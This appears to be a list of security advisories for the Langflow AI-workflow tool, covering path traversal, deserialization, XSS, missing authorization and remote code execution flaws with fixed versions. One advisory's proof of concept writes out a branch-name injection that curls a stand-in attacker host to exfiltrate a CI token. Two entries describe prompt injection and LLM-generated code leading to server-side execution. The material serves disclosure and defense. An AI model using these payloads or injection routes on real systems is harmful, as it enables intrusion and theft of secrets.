Langflow

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to 1.9.0, Langflow is vulnerable to Path Traversal in the Knowledge Bases API (DELETE /api/v1/knowledge_bases). This occurs because user-supplied knowledge base names are concatenated directly into file paths without proper sanitization or boundary validation. An authenticated attacker can exploit this flaw to delete arbitrary directories anywhere on the server's filesystem, leading to data loss and potential service disruption. This vulnerability is fixed in 1.9.0.Show less

IBM Langflow Desktop 1.6.0 through 1.8.2 Langflow could allow an authenticated user to execute arbitrary code on the system, caused by an insecure default setting which permits the deserialization of untrusted data in the FAISS component.Show less

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.5.1, the `_read_flow` helper in `src/backend/base/langflow/api/v1/flows.py` branched on the `AUTO_LOGIN` setting to decide whether to filter by `user_id`. When `AUTO_LOGIN` was `False` (i.e., authentication was enabled), neither branch enforced an ownership check — the query returned any flow matching the given UUID regardless of who owned it. This allowed any authenticated user to read any other user's flow, including embedded plaintext API keys; modify the logic of another user's AI agents, and/or delete flows belonging to other users. The vulnerability was introduced by the conditional logic that was meant to accommodate public/example flows (those with `user_id = NULL`) under auto-login mode, but inadvertently left the authenticated path without an ownership filter. The fix in version 1.5.1 removes the `AUTO_LOGIN` conditional entirely and unconditionally scopes the query to the requesting user.Show less

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.9.0, the Agentic Assistant feature in Langflow executes LLM-generated Python code during its validation phase. Although this phase appears intended to validate generated component code, the implementation reaches dynamic execution sinks and instantiates the generated class server-side. In deployments where an attacker can access the Agentic Assistant feature and influence the model output, this can result in arbitrary server-side Python execution. Version 1.9.0 fixes the issue.Show less

The '/api/v1/files/images/{flow_id}/{file_name}' endpoint serves SVG files with the 'image/svg+xml' content type without sanitizing their content. Since SVG files can contain embedded JavaScript, an attacker can upload a malicious SVG that executes arbitrary JavaScript when viewed by other users, leading to stored cross-site scripting (XSS). This allows stealing authentication tokens stored in cookies, including JWT access and refresh tokens.Show less

The '/logs' and '/logs-stream' endpoints in the log router allow any authenticated user to read the full application log buffer. These endpoints only require basic authentication ('get_current_active_user') without any privilege checks (e.g., 'is_superuser').Show less

The '/api/v1/files/images/{flow_id}/{file_name}' endpoint does not enforce any authentication or authorization checks, allowing any unauthenticated user to download images belonging to any flow by knowing (or guessing) the flow ID and file name.Show less

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.1, in the download_profile_picture function of the /profile_pictures/{folder_name}/{file_name} endpoint, the folder_name and file_name parameters are not strictly filtered, which allows the secret_key to be read across directories. Version 1.7.1 contains a patch.Show less

Langflow is a tool for building and deploying AI-powered agents and workflows. In versions 1.0.0 through 1.8.1, the `/api/v1/files/images/{flow_id}/{file_name}` endpoint serves image files without any authentication or ownership check. Any unauthenticated request with a known flow_id and file_name returns the image with HTTP 200. In a multi-tenant deployment, any attacker who can discover or guess a `flow_id` (UUIDs can be leaked through other API responses) can download any user's uploaded images without credentials. Version 1.9.0 contains a patch.Show less

Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`Show less

Langflow is a tool for building and deploying AI-powered agents and workflows. Versions 1.2.0 through 1.8.1 have a bypass of the patch for CVE-2025-68478 (External Control of File Name), leading to the root architectural issue within `LocalStorageService` remaining unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency. This defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE). Version 1.9.0 contains an updated fix.Show less

Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the delete_api_key_route() endpoint accepts an api_key_id path parameter and deletes it with only a generic authentication check (get_current_active_user dependency). However, the delete_api_key() CRUD function does NOT verify that the API key belongs to the current user before deletion.Show less

Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. This issue has been fixed in version 1.9.0.Show less

Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.8.0, the CSV Agent node in Langflow hardcodes `allow_dangerous_code=True`, which automatically exposes LangChain’s Python REPL tool (`python_repl_ast`). As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection, leading to full Remote Code Execution (RCE). Version 1.8.0 fixes the issue.Show less

Langflow Disk Cache Deserialization of Untrusted Data Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is required to exploit this vulnerability. The specific flaw exists within the disk cache service. The issue results from the lack of proper validation of user-supplied data, which can result in deserialization of untrusted data. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27919.Show less

Langflow PythonFunction Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Attack vectors and exploitability will vary depending on the configuration of the product. The specific flaw exists within the handling of Python function components. Depending upon product configuration, an attacker may be able to introduce custom Python code into a workflow. An attacker can leverage this vulnerability to execute code in the context of the application. Was ZDI-CAN-27497.Show less

Langflow exec_globals Inclusion of Functionality from Untrusted Control Sphere Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the exec_globals parameter provided to the validate endpoint. The issue results from the inclusion of a resource from an untrusted control sphere. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-27325.Show less